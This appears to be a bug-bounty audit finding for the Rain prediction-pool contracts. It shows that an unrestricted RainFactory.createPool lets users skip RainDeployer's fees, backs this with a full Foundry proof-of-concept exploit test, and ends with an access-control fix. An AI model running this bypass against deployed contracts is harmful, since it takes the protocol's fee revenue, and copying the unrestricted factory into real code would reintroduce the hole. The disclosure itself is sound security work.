https://github.com/hackenproof-public/rain-contracts
createPool function, allowing users to bypass the RainDeployer entirely and create pools without paying required fees. This enables attackers to create fully functional private pools while avoiding oracle fees, platform fees, and all other protocol charges, directly impacting protocol revenue.createPool function has no access restrictions:RainFactory.sol (https://github.com/hackenproof-public/rain-contracts/blob/main/src/RainFactory.sol#L17-L20)
function createPool(IRainPool.Params memory poolParams) external returns (address) {
RainPool instance = new RainPool(poolParams);
return address(instance);
}
This allows direct calls that bypass RainDeployer's fee collection mechanism entirely. When users create pools through the intended RainDeployer path, they pay:
RainDeployer.sol (https://github.com/hackenproof-public/rain-contracts/blob/main/src/RainDeployer.sol#L169-L173)
IERC20(baseToken).safeTransferFrom(
msg.sender,
poolInstance,
oracleFixedFee // Currently 1 ETH
);
Additionally, RainDeployer enforces protocol-defined fee structures in the pool parameters. However, direct factory access allows complete parameter manipulation, including setting all fees to zero.
The only limitation for directly-created pools is oracle creation, which requires registration in the createdPools mapping:
RainDeployer.sol (https://github.com/hackenproof-public/rain-contracts/blob/main/src/RainDeployer.sol#L203-L205)
if (createdPools[msg.sender] != true) {
_revert(IRainDeployer.OnlyCreatedPool.selector);
}
Since private pools don't require oracles for basic functionality, this limitation doesn't prevent the core exploit.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { ERC20Mock } from "../src/mocks/ERC20Mock.sol";
import { OracleMock } from "../src/mocks/OracleMock.sol";
import { RainFactory } from "../src/RainFactory.sol";
import { RainDeployer, IRainDeployer } from "../src/RainDeployer.sol";
import { RainPool, IRainPool } from "../src/RainPool.sol";
contract DirectFactoryBypassTest is Test {
event ExploitResult(string description, uint256 savedAmount, bool success);
event PoolCreated(string method, address pool, uint256 totalCost);
RainFactory rainFactory;
RainDeployer rainDeployer;
ERC20Mock baseToken;
address attacker = makeAddr("attacker");
address legitimateUser = makeAddr("legitimateUser");
address poolOwner = makeAddr("poolOwner");
address resolverAI = makeAddr("resolverAI");
uint256 oracleFixedFee = 1 ether;
uint256 initialLiquidity = 10 ether;
uint256[] liquidityPercentages = [50, 50];
function setUp() public {
baseToken = new ERC20Mock("Base Token", "BTK", 1000000 ether);
OracleMock oracleFactory = new OracleMock(address(baseToken));
rainFactory = new RainFactory();
RainDeployer rainDeployerImplementation = new RainDeployer();
bytes memory initData = abi.encodeWithSelector(
RainDeployer.initialize.selector,
address(rainFactory),
address(oracleFactory),
address(baseToken),
poolOwner,
resolverAI,
makeAddr("rainToken"),
makeAddr("swapRouter"),
6, // baseTokenDecimals
12, // liquidityFee
25, // platformFee
oracleFixedFee,
12, // creatorFee
1 // resultResolverFee
);
ERC1967Proxy proxy = new ERC1967Proxy(address(rainDeployerImplementation), initData);
rainDeployer = RainDeployer(address(proxy));
baseToken.transfer(attacker, 1000 ether);
baseToken.transfer(legitimateUser, 1000 ether);
}
function testDirectFactoryBypass() public {
// First Step: Legitimate pool creation through RainDeployer
vm.startPrank(legitimateUser);
IRainDeployer.Params memory legitimateParams = IRainDeployer.Params({
isPublic: false,
resolverIsAI: false,
poolOwner: legitimateUser,
startTime: block.timestamp + 1 seconds,
endTime: block.timestamp + 7 days,
numberOfOptions: 2,
oracleEndTime: block.timestamp + 8 days,
ipfsUri: "ipfs://legitimate",
initialLiquidity: initialLiquidity,
liquidityPercentages: liquidityPercentages,
poolResolver: legitimateUser
});
uint256 legitimateTotalCost = initialLiquidity + oracleFixedFee;
baseToken.approve(address(rainDeployer), legitimateTotalCost);
uint256 balanceBefore = baseToken.balanceOf(legitimateUser);
address legitimatePool = rainDeployer.createPool(legitimateParams);
uint256 legitimateCost = balanceBefore - baseToken.balanceOf(legitimateUser);
emit PoolCreated("Legitimate RainDeployer", legitimatePool, legitimateCost);
// Verify pool is registered
assertTrue(rainDeployer.createdPools(legitimatePool));
vm.stopPrank();
// Second Step: Malicious direct factory access
vm.startPrank(attacker);
IRainPool.Params memory maliciousParams = IRainPool.Params({
initialLiquidity: initialLiquidity,
liquidityPercentages: liquidityPercentages,
isPublic: false,
resolverIsAI: false,
deployerContract: address(rainDeployer),
baseToken: address(baseToken),
baseTokenDecimals: 6,
poolOwner: attacker,
platformAddress: attacker,
resolver: attacker,
rainToken: makeAddr("rainToken"),
swapRouter: makeAddr("swapRouter"),
startTime: block.timestamp + 1 seconds,
endTime: block.timestamp + 7 days,
numberOfOptions: 2,
platformFee: 0, // Zero fees
liquidityFee: 0,
creatorFee: 0,
resultResolverFee: 0,
oracleFixedFee: 1, // Minimal oracle fee
oracleEndTime: block.timestamp + 8 days,
ipfsUri: "ipfs://malicious"
});
uint256 attackerBalanceBefore = baseToken.balanceOf(attacker);
// Direct factory call bypassing RainDeployer
address maliciousPool = rainFactory.createPool(maliciousParams);
baseToken.transfer(maliciousPool, initialLiquidity);
uint256 maliciousCost = attackerBalanceBefore - baseToken.balanceOf(attacker);
emit PoolCreated("Malicious Direct Factory", maliciousPool, maliciousCost);
// Verify pool is NOT registered in deployer
assertFalse(rainDeployer.createdPools(maliciousPool));
vm.stopPrank();
// Third Step: Verify exploit success
uint256 savedAmount = legitimateCost - maliciousCost;
emit ExploitResult("Fee bypass confirmed", savedAmount, savedAmount > 0);
// Critical assertions
assertTrue(savedAmount > 0, "Attacker should save money");
assertApproxEqAbs(savedAmount, oracleFixedFee, 1, "Saved amount equals oracle fee");
// Fourth Step: Verify oracle creation is blocked for malicious pool
vm.startPrank(attacker);
vm.expectRevert();
rainDeployer.createOracle(5, 1000, 1, attacker, block.timestamp + 1 days, 2, "test");
vm.stopPrank();
emit ExploitResult("Oracle creation properly blocked", 0, true);
// Final verification
console.log("Legitimate pool cost:", legitimateCost);
console.log("Malicious pool cost:", maliciousCost);
console.log("Amount saved:", savedAmount);
}
}
contract RainFactory {
address public immutable deployer;
constructor(address _deployer) {
deployer = _deployer;
}
function createPool(IRainPool.Params memory poolParams) external returns (address) {
require(msg.sender == deployer, "Only deployer can create pools");
RainPool instance = new RainPool(poolParams);
return address(instance);
}
}
This ensures all pool creation goes through the proper fee collection mechanism while maintaining the existing architecture.